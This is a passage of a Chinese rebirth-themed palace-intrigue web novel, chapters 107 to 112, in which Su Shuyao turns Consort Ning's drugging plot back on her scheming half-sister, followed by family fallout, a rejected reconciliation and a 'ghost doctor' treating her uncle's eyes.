厢房外，一个值守的丫鬟都没有。 宁侧妃做事真谨慎。 要是她稍微疏忽一些，苏舒窈行事反而没这么方便。 苏舒窈上一世来过恭王世子府，她循着上一世的记忆，找到世子妃院子。 院子门口值守的婆子见到人，骂道：“哪里来的贱蹄子，滚远点去玩，这里是世子妃的院子，不是谁都能进的。” 苏舒窈上前塞了两个银裸子：“小女子苏舒窈，来自威远侯府，特来给世子妃请安，麻烦妈妈通传一番。” 守门的婆子见了银子，脸色一整个大转变，让她等着，转身进屋通报去了。 没一会儿，婆子出来了：“苏小姐快随老奴进去，世子妃正念叨您呢！” 世子妃是李鸢的闺中密友，两人在长公主赏花宴见过一面，虽然没怎么说话，但也算认识了。 “舒窈，你怎么来了？”世子妃有些讶异：“怎么一个人，身后也没丫鬟婆子跟着。” “世子妃安好。”苏舒窈上前端正行礼，“我和妹妹是来给宁侧妃送礼的。” “宁侧妃？”提到宁侧妃，世子妃露出一抹复杂的表情。 世子妃出身江南谢氏，从小饱读诗书，见识不凡。 她身为正妃，只需要掌管府中大权，不屑与姬妾争宠。她清楚地明白，后宅姬妾不管怎么争，都不会撼动她的世子妃之位。 世子妃不争宠，但她也不是傻的，宁侧妃的把戏，她心里门清。 “你和妹妹一起来，怎么现在只剩下你一人，你妹妹呢？有什么需要我帮忙的，尽管说。” 世子妃下意识以为，苏舒窈的妹妹被哄骗了。 “世子妃误会了，我妹妹没有被哄骗。”在聪明人面前，苏舒窈从不拐弯抹角，况且她是来求助的，更不可能藏着掖着。 她将宁侧妃留人，她察觉不对，装晕然后把苏明珠和海棠迷晕的事一一说了。 她亮出手中银针：“明珠妹妹一向与我不和，我来之前我便有准备。” 世子妃听完后，哈哈大笑：“原来如此，宁侧妃万万没想到，会栽到你手上！” “你希望本世子妃怎么做？” 苏舒窈垂着头，恭谦有礼，却又不卑不亢：“得到世子妃庇护，已经是我天大的福气。现在我已经没有危险，世子妃不必考虑我，世子妃觉得怎么做有利，便怎么做。” “怪不得鸢姐姐和你交好，你真是个妙人。”世子妃站起来：“行吧，我们去看看究竟是怎么一回事。” ...... 申时末，夕阳西下。 恭王世子哼着小曲儿来到厢房门口。 他今日准备出门游玩，宁氏派人来请，说是远房小表妹要来府上住几日，问问可以不可以。 他闲着没事，去看了一眼。 原本以为只是个乡野丫头，没成想生得这般绝色。 只看了一眼，他便觉得心中有上千只蚂蚁在啃噬，浑身都痒。 恭王世子推了友人邀约，门也不出了，就等着小姨妹安顿好和她说说话。 没等一会儿，就有丫鬟来请：“世子，宁侧妃去了王妃那里请安，王妃留了宁侧妃用晚膳，宁侧妃一时走不掉，宁侧妃新来的妹妹又病了，特来问问世子该怎么办？” 恭王世子身子一热，立刻站了起来：“人病了？怎么病的？还不快带路，本世子亲自去看看。” 丫鬟把恭王世子带到门口便走了。 整个院子鸦雀无声，一个伺候的下人也没。 恭王世子还有什么不明白。 心里暗夸了宁侧妃贤惠，推门便进了厢房。 厢房门口的大树枝繁叶茂，压在窗口，使厢房内的光线更暗了几分。 窗户关得严实，密不透风。 厢房内放了两盆冰，透着丝丝凉凉的清爽，就算做点运动，也不会大汗淋漓。 “小姨妹，怎么会病了，是不是马车坐久了，舟车劳顿？”恭王世子走到床边，心里跟点了火似的。 床幔低垂，看不清床上人的脸，只能分辨出是个少女。 “让姐夫帮你看一看啊~” 恭王世子撩开帘子，衣裳都来不及脱，便上了床。 恭王世子一上床，躺在床底的海棠就醒了。 海棠吓得一哆嗦，回想起昏迷前的发生的事，心中暗骂不好。 苏明珠晕倒之后，她也晕了。 如果苏舒窈也是晕的，那床上的女人，究竟是谁？ 茶里下了药，她亲眼看见苏舒窈喝了茶，苏舒窈都晕了，是谁把她和苏明珠迷晕的？ 究竟是谁在背后捣鬼？ 世子妃？ 世子妃一直盯着宁侧妃，就等着拿宁侧妃的错处，应该是世子妃。 海棠想离开，将此事告知宁侧妃，可是床上已经有了动静。 恭王世子的喘息声夹杂着女子的哼唧声传进海棠耳朵里。 海棠不敢出来，只敢在床下呆着，一动也不敢动，同时在心里祈祷，床上的女子一定要是苏舒窈。 床上的动静越来越大，忽然，“砰”地一声，厢房的门被推开了。 “世子，你在干什么？” 世子妃站在门口，夕阳照在她身后，镀了一层金边。 恭王世子正在兴头上，听到世子妃的声音，眉心一皱，张口便骂道：“滚，别扫了爷的雅兴！” 世子妃：“世子，刚才有人来告状，说世子拐了她的妹妹。院中姬妾众多，世子可别干出强抢民女的事来。” 恭王世子不耐烦道：“什么妹妹？这是宁侧妃的妹妹！不会是宁侧妃来找你告状的吧？” 动静一大，苏明珠也清醒过来，看着压在身上的肥硕身子，她吓得身子一紧，伸手将人往外推：“这、这是怎么回事？你是谁！” 恭王世子小声哄道：“卿卿别怕，我是你的世子姐夫，听说你病了，专门来瞧你，卿卿别担心，本世子马上让他们出去！” 趁着恭王世子哄人，世子妃命人点灯。 烛火亮起，整个厢房被照亮，恭王世子看清了床上的人。 “卧槽，你是谁？！” “怎么是个丑女？” “本世子的小姨妹呢？！” 第108章 哭什么哭 恭王世子看清苏明珠的脸，有种受骗上当的感觉。 “这么丑，把本世子都吓痿了！”他麻溜披上外袍，从床上站起来。 恭王世子是个眼界高的，苏明珠的长相还不及宁侧妃院子里几个长得好的丫鬟。 想起刚才把苏明珠当成天仙般爱抚，恭王世子眼神里充满了失望与嫌恶。 苏明珠并不是很丑，只不过和苏舒窈比起来，差了不止一星半点。 既然不是美人，恭王世子也不用怜香惜玉了，他从床上下来，随手抓起被子往苏明珠身上一甩：“世子妃，这女子本世子不认识，不知道从哪里溜进来的小偷，你好生审问一下便赶出去吧，本世子先走了。” “真是晦气！还以为是小姨妹，没想到是个丑女！” 恭王世子穿好衣裳，系上腰带，骂骂咧咧离开了。 苏明珠躺在床上，看着眼前的床幔，只觉得遍体生寒。 听到恭王世子的羞辱之词，两行眼泪无声落下。 怎么回事？ 中药的不是苏舒窈吗？ 为什么被恭王世子玩弄的人是她？！ 难道是宁侧妃？宁侧妃想让她们姐妹共侍一夫？ 苏舒窈呢？苏舒窈去哪儿了？ 她已经这样了，苏舒窈一定要比她更惨。 恭王世子离开后，世子妃带着人走了进来：“舒窈，你看看，床上这人是不是你妹妹？” 苏舒窈这才抬起头，从人群中走出来。 她快速走到床边，撩起床幔，看着床上苏明珠惊慌失措的一张脸，嘴边露出一抹庆幸的笑来。 “是我妹妹，多谢世子妃救了我妹妹！” “明珠妹妹，我终于找到你了，你还不快起来感谢世子妃！” 苏明珠遭逢大难，浑身酸软无力，被拉起来半坐着，身上的被子滑下去，斑驳的肌肤裸露出来。 苏舒窈吓得松开手：“啊？明珠妹妹，你怎么没穿衣裳？” “明珠妹妹，你怎么会在厢房，还和恭王世子睡到了一张床上？” 苏明珠眼疾手快抓住被子遮住身子，浑身止不住发抖。 这个时候，她还有什么不懂，她定是被苏舒窈给阴了。 “苏舒窈，你少在这里假惺惺！你这个贱人，为什么要害我？！” 苏明珠抱着被子，咬牙切齿地瞪着人，眼眶里布满了红血丝。 世子妃开口打断道：“苏明珠，你姐姐是来救你的，你怎么和姐姐说话的？” 苏明珠抓起衣裳披在身上，跌跌撞撞从床下滚下来，跪在世子妃面前，重重磕了一个响头：“世子妃，我是被陷害的，还请世子妃还民女一个清白！” “世子妃，我被人下药了，昏迷了过去，醒来就在床上了......” “呜呜呜，世子妃，我是好人家的女儿，没了清白，我不如一头撞死！” 她恶狠狠瞪着苏舒窈：“世子妃，是她，是苏舒窈害的我，世子妃一定要明察啊！是她给我下了药，把我弄到床上的！” 世子妃看向苏舒窈，脸上露出一抹疑惑：“究竟怎么回事？舒窈，你不是说你妹妹不见了，怎么你妹妹又说是你害她？” 海棠藏在床下，骂了句蠢货。 苏舒窈能把世子妃找来，两人私下里肯定有勾结，苏明珠还傻乎乎朝着世子妃求救？ 不过苏舒窈挺厉害，竟然能求得世子妃帮忙。 这样也好，让苏明珠两姐妹狗咬狗，不会攀扯到宁侧妃身上。 给苏明珠一百个胆子，她也不会把宁侧妃供出来。 海棠正在想着，忽然，一只手伸到床底，“嗖”地一下将她拖了出来。 “海棠，你怎么在这里？！”世子妃看着从床下拖出的那个人，差点没忍住笑出声来。 “海棠，老实交代，你怎么会躲在床下，究竟怎么回事？！” “说，苏二姑娘的事，是不是宁侧妃指使的？！” 海棠吓得嘴皮一哆嗦，连忙辩解道：“世子妃，此事与宁侧妃无关，是苏二姑娘头晕，我好心带她来休息的。” “满嘴谎言，你带她来休息，怎么会躲床下？！来人，给我掌嘴，打到她愿意说真话为止！” 世子妃冷笑一声：“把宁氏给本世子妃叫过来！这事定然和她脱不了关系！” 海棠心里咯噔一声，暗道，完了，完了。 她是宁侧妃身边最得力的大丫鬟，就算她什么也不说，此事也和宁侧妃脱不了干系。 宁侧妃正在伺候恭王妃用晚膳，听说世子妃请她过去，不甚在意。 算着时辰，世子已经和苏舒窈有了肌肤之亲，苏舒窈性子烈，定然会闹上一场。 就算闹到世子妃那里，世子妃偏帮苏舒窈，还能越过世子去不成？ 走在路上，宁侧妃朝着丫鬟打听：“世子呢，世子在哪个院子？” 小丫鬟笑道：“世子刚刚出门了。” 宁侧妃心思一转，暗道不好。 此事定然有了变数。 要是事成，世子定会抱着美人缠绵，哪里会舍得扔下新得的美人不管。 果然，回到院子，便看见衣衫不整的苏明珠、跪在地上灰头土脸的海棠、和站在世子妃身边秀气娴雅的苏舒窈。 “哎哟，这是怎么回事啊？”宁侧妃甩着帕子，走到世子妃面前，规矩行了一礼。 世子妃端坐于首位，神情严肃：“宁氏，你诱拐良家女子，害得世子也被牵连，你该当何罪！” 宁侧妃呜咽一声，吓得双目瞪得像铜铃：“世子妃，可不能胡乱给妾身加罪名！妾身冤枉啊！” 世子妃指着苏明珠：“苏二小姐被迷晕了，醒来睡在了床上，世子不知道怎么回事，也来到苏二小姐床上。” “这是在你院子里发生的事，你别说这事和你没有关系？” “今儿要是掰扯不清楚，本世子妃便拉着你去王妃那里说道说道。” 宁侧妃暗骂了一句蠢货，脸上扯出一抹尴尬的笑：“姐姐误会了，什么诱拐良家女子，没有的事。” 她指着苏明珠：“是苏家二小姐找到我，说是为了给威远侯府二少爷谋个前程，自愿进府侍奉世子。” “苏二小姐，你说是不是啊？” 苏明珠看着宁侧妃威胁的眼神，打了个哭嗝，“是......” 宁侧妃又笑起来：“看吧，我说的没错吧。就是吧，世子没看上她，也不能怪我。你说对不对啊，姐姐？” 世子妃看向苏明珠：“苏二小姐，有什么你尽管说，本世子妃给你做主。” 苏明珠身子一颤，权衡利弊后，绝望开口：“没有，世子妃，是我自愿的，不关宁侧妃的事。” 世子妃又问了几次，苏明珠依然是这个回答。 世子妃看着宁侧妃得意的眼神，叹了口气：“苏二小姐和世子已经......如若不然，苏二小姐便留在府中？” 宁侧妃笑道：“世子妃姐姐，这人要不要留，还要问问世子吧。” 世子那么嫌弃，这人肯定是留不得的。 世子妃考虑片刻：“女子名节重要，这事不准声张，本世子妃派人先送你们回府。等问过世子，再派人去威远侯府和苏二姑娘商量。” 坐上回府马车，苏明珠缩成一团，看着窗外默默流泪。 苏舒窈淡然一笑：“明珠妹妹，你不是说了，为了二哥哥的前程，你不仅什么都愿意牺牲，甚至赴汤蹈火、在所不辞。” “既然是你自己愿意的，你哭什么哭啊？” 第109章 扎心 苏明珠只觉得这句话无比刺耳，她当初说的话，像回旋镖一样在空中转了一圈，刺中了她的胸口。 到现在她都还没想通，原本被恭王世子玩弄的应该是苏舒窈，为什么了变成了她？ 她哭，不是因为失了贞操，更多的是被恭王世子嫌弃。 她自认为在颜值上没差苏舒窈多少，苏舒窈古板木讷，她娇俏妩媚，在神态上，她还小胜一筹。 一想到恭王世子嫌恶的表情，她就心梗。 她有那么差吗？！啊？！ “姐姐很得意吧。” “妹妹说什么，姐姐听不懂。”苏舒窈笑道：“要是妹妹去了恭王府，得到贵人青睐，可千万别忘记姐姐哦。” 这句话听着耳熟，也是之前苏明珠说过的。 苏舒窈杀了人，还要诛心。 苏明珠觉得心脏被回旋镖扎了一刀又一刀，鲜血直流，千疮百孔。 她停止了流泪，头转向一边，不再理会苏舒窈。 苏舒窈哪里肯放过她，继续说道：“之前在厢房，我好像听恭王世子说要找小姨妹？妹妹和宁侧妃扮演姐妹？也是了，勾搭姐夫，妹妹最是在行了。” 苏明珠闭着眼，身体微微抖动，差点没把后槽牙咬碎。 苏舒窈，你别得意，三十年河东三十年河西，我绝对不会放过你的！ 我可是重生的！ ~ 恭王府。 世子妃把这件事报给了恭王妃，宁侧妃被罚了三个月月例，禁足一个月。 王妃说了，再干这种蠢事，便将她贬为侍妾。 这事连累了恭王世子，恭王世子也把她埋怨了一通。 宁侧妃回到院子里，连砸了好几双碗碟。 “真是不叫的狗会咬人啊！” “看着人畜无害，手段还不小！” “本侧妃还不信了，被世子看上，她跑得掉？！” “别以为有了世子妃撑腰，就万事大吉了！等本侧妃禁足时间结束，有她好看！” ~ 苏明珠回府之后，将此事打落牙齿和血吞，一个人也没说，两姐妹怎么出去的，就怎么回来。 看起来依旧姐妹情深。 就好像整个侯府，明明内里都烂完了，但只要没人提，依然一片岁月静好。 结果第二天，世子妃派人上门了。 万氏不在，管家权暂时落到乔姨娘手上，乔姨娘接待了世子妃派来的管事妈妈。 世子妃派人送了五百两，说是给苏明珠的补偿。 乔姨娘跑到苏舒窈那里一问，全都知道了。乔姨娘得知此事之后，整个威远侯府也知道了。 威远侯勃然大怒：“苏明珠，你，你简直太让人失望了！” “怎么丢脸丢到恭王府去了？！” “本侯平时怎么教导你的，你怎么这般不知廉耻！” 威远侯觉得很丢脸。 不是因为女儿失了清白，而是失了清白还被人嫌弃，爬床都爬不明白。 真是愚蠢！ 苏明珠百口莫辩。 “恭王世子那边不要你，只能把你远嫁了。” 最好嫁到偏远地区，一辈子都回不来那种。 只要能保住侯府的脸面，这点牺牲算不得什么。 可惜了，不能用女儿换取利益。 苏明珠听说要远嫁，吓得一激灵，立刻跪下抱住威远侯的大腿哭诉道：“父亲，女儿不要远嫁，父亲相信女儿，凭女儿的本事，一定能高嫁的！” 威远侯冷哼一声：“你现在失了清白，还怎么高嫁？！简直白日做梦！” 上一世，苏明沛和苏明添身居高位，求娶她的人从侯府大门排到了城门口，只要等一等，她定能比苏舒窈嫁得更好。 但这话却不能告诉威远侯，苏明珠哭哭啼啼道：“父亲，只要不往外说，我就是清白的！元祖哥哥愿意娶我，元祖哥哥说过喜欢我的！” 上一世，苏舒窈去世后，她确实嫁给了元祖。 元祖背地里和她勾搭，天天心啊肝啊地叫她，爱她爱得要死。 苏舒窈死后，元祖如愿娶了她，却又开始怀念苏舒窈的好。 每天摆出一副伤春悲秋的死出。 虽然婚后过得并不如意，但只要略施小计，元祖肯定会娶她的。 这一世，她原本不准备嫁元祖，勾搭元祖也是为了给苏舒窈添堵。 既然苏舒窈这般不留情面，那这一世，她会想办法嫁元祖。 谁让苏舒窈喜欢元祖呢。 想到报复苏舒窈的法子，苏明珠心头梗着的大石，终于舒缓了些许。 威远侯盯着人：“元家会要你？” 他打算利用苏舒窈攀附长公主，心里还有点舍不得元家这门亲事。 如果苏明珠能嫁入元家，那就最好了。 有得还没有失。 苏明珠点点头：“元祖哥哥喜欢我，元祖哥哥说了，他想娶的，其实一直都是我。一开始我不愿意，怕伤了姐姐的心，只要我愿意，元祖哥哥就会娶我的。” 威远侯眉间褶皱松开来，眼角眉梢露出一抹欣喜：“真的？” 苏明珠眼里的泪花一朵一朵往外冒：“当然是真的，我怎么会骗父亲。” 威远侯喜滋滋收下世子妃送来的五百两赔偿：“那行，为父就等着你的好消息了！” ~ 好不容易安抚好威远侯，苏明珠来到苏明添院子里。 苏明添也听说了恭王府发生的事，看到苏明珠的第一句话便是：“明珠妹妹，你糊涂啊！” “不是说让苏舒窈去的吗？你怎么自己去了啊！” “恭王世子可不是什么好货色！” 他在恭王世子身边当舔狗，知道恭王世子好色又荒淫，就算短暂赢得宠爱，也不会长久。 而且苏明珠的颜值稍逊一色，不是恭王世子的菜。 他不忍心看着心爱的妹妹被别的男人玩弄。 苏明珠红着眼哭诉：“二哥哥，是苏舒窈那个贱人把我害了。” “恭王世子看上的是她，她说不愿意为二哥哥牺牲，伙同世子妃，把我害了！” “为了二哥哥，我是愿意牺牲的，可是，没被恭王世子看上......” 苏明添骂道：“那个毒妇！” “现在怎么办？” 苏明珠擦干眼泪：“不知道明芷妹妹回来没有，等着明芷妹妹请回鬼医，先让二哥哥痊愈了再谋划。” 苏明添承诺：“明珠妹妹放心，等我痊愈，一定会为你出这口气！” 苏舒窈当然知道苏明珠恨她恨的要死，她就是喜欢他们恨她，又干不掉她，无可奈何的样子。 提前预判了对方的预判，让对方憋屈得要死，这种感觉真好。 第110章 挽回 立秋之日，唐挽心上门送秋桃。 唐夫人是江南人，江南有立秋吃秋桃的习俗，把吃完的果核收起来，除夕日烧掉，能保证一年无病无灾。 “舒窈，我专门给你挑了几个又红又大的秋桃，保管了你吃了，一年都不生病。” 苏舒窈让人将秋桃拿下去，洗出两个，切盘端来：“这么热的天，怎么亲自上门，让管事送来岂不便宜？” 唐挽心和苏明沛之前有婚约，婚约解除了，更要避嫌。 唐挽心抿了抿唇，眼中燃起熊熊八卦之火。 她凑到苏舒窈耳边，压低声音：“听说你们威远侯府出了大事？” 苏舒窈抿嘴笑道：“威远侯府出的大事可多了，不知挽心想听哪一件？” 唐挽心端起茶盏，浅浅抿了一口，“听说世子不育？真的假的？” “真的。”苏舒窈点了点头。 上一世，唐挽心为了怀孕，喝了好多苦药。 御医开的药，江湖游医开的药，每天雷打不动三大碗，喝得面色发黄。 御医开的药还好，都是温补调理之类，江湖游医开的方子那可是五花八门，有什么无根水、蟾蜍皮、观音土、寡妇门前的泥土混合经血...... 一开始她喝不下去，看到药就吐。 到了后来，一边流泪一边喝。 万氏表面慈善，私下里天天折腾唐挽心，还让她裸身一晚，在月圆之夜环抱槐树一整夜。 为了求子，唐挽心吃尽了苦头。 苏舒窈看着揪心，无数次劝她放弃，可是，无子在大夏，可是七出之罪。 太好了，这一世，挽心不用遭罪了。 “怎么会这样？年纪轻轻的，怎么就不育了呢？”唐挽心摸着胸口，有种劫后余生的庆幸，差点没笑出声来。 她双手合十，朝着苏明沛院子方向诚信叩谢：“感谢世子不娶之恩。” “快给我说说，怎么回事？” 苏舒窈将万氏给威远侯送汤，威远侯心疼长子，把汤分了一半出去，结果父子双双不育的事说了。 唐挽心听完，嘴巴张大能塞下一整个桃子：“万氏可真、真勇啊！” 高门大户，几乎每个主母都有让庶子嗝屁的法子，但大多都是针对妾室，什么避子汤、麝香之类的药物，狠毒一点的，生下来但活不下来。 万氏真狠，直接从根上断绝了后患。 “怪不得她被送去了家庙。威远侯还是心软了，没要她的命。” 苏舒窈解释道：“万氏两个大哥护着，轻易死不了。再说了，世子明年还要科举呢，万氏一死，世子就得守孝三年。” 唐挽心也能理解，高门大户之间的利益盘根错节，要人死并不是那么容易：“那世子的爱妾是怎么怀上的？” 苏舒窈轻笑着摇了摇头：“不过是自欺欺人罢了。” 苏明沛觉得是侥幸，可是，这个世上，哪有那么多侥幸。 上一世唐挽心嫁进来之后，世子就没喝绝子汤了，后宅那么多女人，一个都没怀上。 唐挽心眼珠子一转，觉得唏嘘：“混淆侯府血脉，可是大罪。” “我们永远叫不醒一个装睡的人。”苏舒窈笑道：“不说这些了，既然来了，看看我养的兰花，吃了午膳再走。” 苏舒窈让厨娘做一桌好菜招待唐挽心，也当是变相庆祝唐挽心脱离苦海。 ~ 苏明沛听说唐挽心上门，有些意动。 “来人，把本世子上个月新作的衣裳拿来。” 苏明沛屁股上的伤好多了，能站起来慢慢走动了。他要去见唐挽心，挽回两人的婚姻。 现在想想，上一世唐挽心生不出孩子，是他错怪她了。 上一世，唐挽心爱他爱得要死，这一世，他想再给唐挽心一个机会。 唐家送的两个幕僚，他也不想放弃。 苏舒窈正带着唐挽心赏花，小丫鬟来报：“大小姐，世子来了。” 苏舒窈：“给世子说不方便，我这里有女客。” 小丫鬟去了一会儿又回来了：“世子说了，他知道是唐家小姐，他有话和唐家小姐说。” 苏舒窈看了唐挽心一眼：“你如果不想见他，我有法子把他赶走。” 唐挽心摆摆手：“他想见就见一面吧，在你这里，他不可能把我害了。” 她很想看看，这生不出孩子的男人是个什么样子。 苏舒窈把世子请到西厢房，沏上一壶香茶，苏明沛不敢坐，一直站着。 唐挽心：“世子有事坐着说。” 苏明沛屁股痛，坐不得：“站着说吧。” 唐挽心睨他一眼，原来这生不出孩子的男人，不喜坐。 苏明沛也在观察唐挽心。 比起记忆中那个不苟言笑的妇人，现在的唐挽心很年轻，脸上随时挂着笑，俏皮灵动，不像上一世那般日日愁眉紧锁。 比上一世好看太多，也年轻太多。 上一世，因为月姨娘，他对唐挽心多有嫌弃，宁愿歇在书房，也不肯去她的院子。 唐挽心为了与他同房，用了不少法子。 唐挽心爱他爱得卑微。 想到这里，苏明沛心中有了不少底气：“挽心，我俩的婚事......” 唐挽心赶紧打断：“世子，说什么呢，婚事早就解除了。” 苏明沛抿了抿唇：“我承诺，会对你好的。阿梨的孩子，也可以抱到你院子里，让你亲自教导。我保证，今后一个月大半个月，我都会歇你房里。” 唐挽心吓得差点掉凳：“世子你脑子进水了，婚都退了，你说什么呢。再说了，你都不能生育了，我又不傻，嫁谁不好，嫁一只生不了崽的公鸡，你以为你谁啊？” 唐挽心麻溜站起来往外走：“舒窈，我走了，下次再吃饭。” 怕被赖上，跑得飞快。 独留苏明沛站在原地，一脸错愕。 怎么回事？ 上一世唐挽心爱他爱得那么痴，这一世，究竟是怎么了？！ 苏舒窈给唐挽心说什么了？！ ~ 这边，苏明珠千盼万盼，总算盼着苏明芷从琅玡山回来了。 “明珠，兰花送出去了吗？鬼医请来没有？” 苏明芷在琅玡山被困了好几天，满身是伤、满脸疲惫。 “二姐姐，二哥哥，我差点就死在山上了！山上到处都是虫子，不仅有狼，还有熊！” 苏明添：“三妹妹，辛苦你了，二哥哥痊愈之后，定会对你好的。对了，鬼医呢，请到了吗？” “鬼医没在，听说鬼医已经下山了。” “下山，去哪儿了？” “听说鬼医答应了苏家大小姐，要给人看诊，我到的时候，鬼医刚下山。”苏明芷想了想：“我想着，应该是大姐姐请的，怎么，鬼医没来吗？” 苏明添心里一动，就知道苏舒窈口是心非。 明明去帮他请了鬼医，嘴上却不承认。 怪不得上一世她做了那么多事，还是不招人喜欢。 得知鬼医已经下山，苏明添那颗悬着的心终于安稳下来。 等着治好病，他就能大展宏图了。 第111章 钝痛 鬼医一到大伯府上，苏明沣便派人送来口信。 苏舒窈赶去的时候，苏明沣和苏明南早已在门口等候。 远远看到苏舒窈的马车，苏明沣欢快地招着手跑过来，脸上的笑容阳光明媚，让人一见就高兴。 他指了指自己的嘴，无声地啊了啊。 苏舒窈笑了笑：“三哥哥，你怎么还不能说话？都这么多天了？” 她记得上一世，被鬼医毒哑，三天就能好。 苏明南解释道：“本来能说了，鬼医上门之后，三弟又被毒哑了。” 苏舒窈捂嘴轻笑，“你说什么了？” 苏明沣撩开衣摆，做了个跪拜的姿势，然后双手合十，拜了拜。 苏舒窈：“你还想拜师啊？” 苏明沣见对方明白自己的意思，竖起大拇指，狠狠点了点头。 苏明南摇摇头：“他跟在鬼医身后像只麻雀一样叽叽喳喳，鬼医出恭都守在茅房门口递纸，鬼医刚来不到一个时辰，就把他毒哑了。被毒哑了还不消停，还缠着鬼医，我怕他被毒瘫了，便把他带出来等着妹妹。” 苏舒窈捂嘴轻笑，这确实是三哥哥能做出的事来。 苏舒窈刚一入府，府中的丫鬟小厮高声喊道：“小姐回府了！” 没一会儿，大伯娘便迈着小碎步出来：“舒窈回来了，快进屋里凉快。我熬了燕窝粥，放了冰，现在吃正好。” 苏明沣听说有燕窝粥，又啊啊啊地指着自己的嘴巴。 大伯娘拍他一下：“有你的，快进去吧，别把舒窈热到了。” 入了秋，早晚温差大，午时依然燥热。 知道苏舒窈今儿要回来，大伯娘特地出去买了冰。 大伯娘一家平日里比较节省，这燕窝粥，也是留着等苏舒窈回来才吃。 “鬼医看过大伯了吗？怎么说？”苏舒窈坐在厅堂里，喝着冰凉爽口的燕窝粥。 大伯娘忧心忡忡：“不知道，还在看。” 鬼医看诊不喜欢有人守着，会关上门，家属和病人的问题，一律不回答，只管闷头看诊。 主打一个“爱看看，不看滚”。 鬼医善毒，药毒本是同宗，比如附子有剧毒，经过搭配、炮制，可以消除毒性，是回阳救逆、治疗虚脱的急救药物。 但普通人看着药方上的奇奇怪怪的药物，会下意识害怕。 上一世，苏明添看了药方药，以为鬼医要毒杀他。 鬼医白他一眼：“要吃就吃，不吃截肢。” 态度傲慢不羁。 苏明添当场就要把人轰走。 苏舒窈心疼苏明添生病心里脆弱，卑躬屈膝从中调停，为鬼医试毒，才把鬼医留下来。 求鬼医下山，在山上当了一个月药童都不累。 反而是鬼医下山来了侯府，说服苏明添治病，说服万氏和威远侯相信鬼医，更耗费心力。 万氏说了，要是苏明添有什么不好，要她陪葬。 她千辛万苦找来鬼医，却不被信任，被质疑，被责怪...... 那个时候，她感觉浑身笼罩着一股无力感。 那种无力感不是身体上的，而是精神上的，好似一场没有刀子的凌迟，虽然看不见伤口，但钝痛藏在一个个细节里，折磨得人喘不过气来。 站在大伯门口，看着紧闭的大门，苏舒窈道：“待会儿鬼医出来，我们什么也别问，他写的方子，我们照着去捡药就行。” “鬼医的开的药，和寻常医师的不太一样，但我保证，大伯的病......” 苏舒窈还没说完，大家非常认真地点头：“舒窈，不用解释那么多，我们相信你，我们都听你的。” 没有怀疑，也没有疑问，全部的信任。 苏舒窈心底生出一股名为“被珍视”的暖流。 原来被家人全盘信任，是这种感觉啊。 这种被全家信任的感觉真好。 辛苦付出之后，被看见、被承认的感觉真好。 大伯娘把她往厅堂那边推：“舒窈快去坐着休息，鬼医看诊指不定还要多久，这里热，让明沣他俩守着就行。” 苏舒窈被大伯娘牵着回了厅堂，桌上摆满了果盘点心、香茶蜜饯。 因为苏舒窈回家，大伯娘精心准备了好多好吃的。 这些东西苏舒窈平时也能吃，但在这里，她是被重视的。 等了约莫两个时辰，门终于开了，鬼医面无表情走出来，递出一张方子。 苏舒窈接过来，马上安排人去捡药。 苏明沣不能说话，夸张地朝着鬼医做了一个请的姿势，脸上露出一个比花还灿烂的笑，请鬼医去客房休息。 鬼医看了他一眼，没有拒绝。 苏明沣高兴得差点跳起来，像只快乐的小马驹，一蹦一跳地在前面带路。 苏舒窈接过方子一看，上面果然写了很多看起来很毒的药物。 大伯娘接过方子一看，眉心微微皱了皱。 苏舒窈问道：“大伯娘，是不是担心这方子有问题？” 大伯娘诧异了一瞬，随即摇摇头，“舒窈好不容易找来的医师，怎么可能有问题？” 她耐心解释道：“我是担心这上面的药，药店买不齐全，又不能去问鬼医，不知道该怎么办。” 苏舒窈笑道：“不用问，既然他开了药，就能买到，如果不能买到，鬼医会说的。” “我们进去看看大伯吧。” 大伯的眼睛里，很有多灰白色浑浊物，这些浑浊物每天都会产生，越积越多，导致眼睛无法闭上，还会疼痛。 苏舒窈进去的时候，大伯眼睛里的浑浊物已经没有了。 “鬼医用金针帮我把眼睛上的浑浊物挑了，我能看到一点光了。” “舒窈，谢谢你，老头子我都准备等死了，没想到还有能看见光明的一天。” 大伯一席话说得是老泪纵横，当即就要给苏舒窈下跪磕头。 苏舒窈上前一步将人扶起来：“大伯，您是我的长辈，我孝敬你应该的，你快别这样。” 大伯：“哪里是应该的，虽然我名义上是你大伯，却也没养你一天，你的恩情，我们全家都会铭记在心的。” 大伯娘赶紧把人扶到床上：“老头子别把舒窈吓坏了，你好好养病，等能看见了，好生看看舒窈。舒窈长得可好看了，整个京城找不到第二个比舒窈还好看的姑娘，心肠也好，人也聪明，稳重大气、才华横溢，很有大家闺秀典范。” 苏舒窈抿嘴笑了笑。 真正心疼你的长辈，会觉得你哪哪都好，她们看不见你的缺点，还会无限放大你的所有优点。 “走，我们去问问鬼医，大伯什么时候能痊愈，这病究竟是怎么引起的？” 大伯娘咦了一下：“舒窈，你不是说不能问吗？” 苏舒窈指着秋霜手里的兰花：“有办法让他开口。” 第112章 耍威风 之前那盆“绿云”发芽分出的新枝，被苏舒窈移栽了，新芽经过培养之后，也开花了。 分枝的这盆兰花比之前送给鬼医那盆更绝，开的是并蒂花，花瓣多达九片，算得上兰花中的绝品。 鬼医钟爱兰花，这盆兰花保管能让他开口。 大伯娘又夸上了：“舒窈还会养花，养出的花儿一盆比一盆惊艳，谁要是娶了我们舒窈，那真是祖坟上冒青烟了......” 苏舒窈被夸得不好意思，脸颊微微发烫。 客房里，苏明沣热情地给鬼医倒茶、捏肩，鬼医也不骂他，任他跟在身后。 见着苏舒窈抱着兰花进来，鬼医双眼一亮：“这花好生眼熟。” 苏舒窈把花往桌上一放：“之前那盆绿云的分枝，鬼医要是喜欢，尽管拿去。” 鬼医没接，淡淡地看过去：“你还要医一人？” “不是。”苏舒窈指着苏明沣：“希望鬼医能收他为徒。” 苏明沣眼神一亮，立马跪在地上磕了三个响头，张口无声地喊了一声：“师父在上！” 鬼医脸色一黑，“我从不收徒！花拿走！原则性的问题，岂是区区一盆兰花可以打破的！” 他嘴上说着花拿走，眼神却没有从兰花上挪开。 上一世打过交道，苏舒窈对鬼医的性格很熟悉，她笑了笑，“可是，这盆花我已经带来了，专门给你准备的。” 鬼医看了苏明沣一眼，冷哼一声：“怎么，还想讹上我了？” 苏舒窈：“没有，我们怎么敢讹您？要不，关于大伯的病，您回答我们五个问题，这盆花还是送你。” 鬼医：“三个！” 苏舒窈：“成交！” 医病从不解释病因，是鬼医的原则。一开始就让他解释病因，他肯定不愿意，但和“收徒”相比，解释病因便变得容易多了。 鬼医有种掉进别人事先挖好的坑里的感觉。 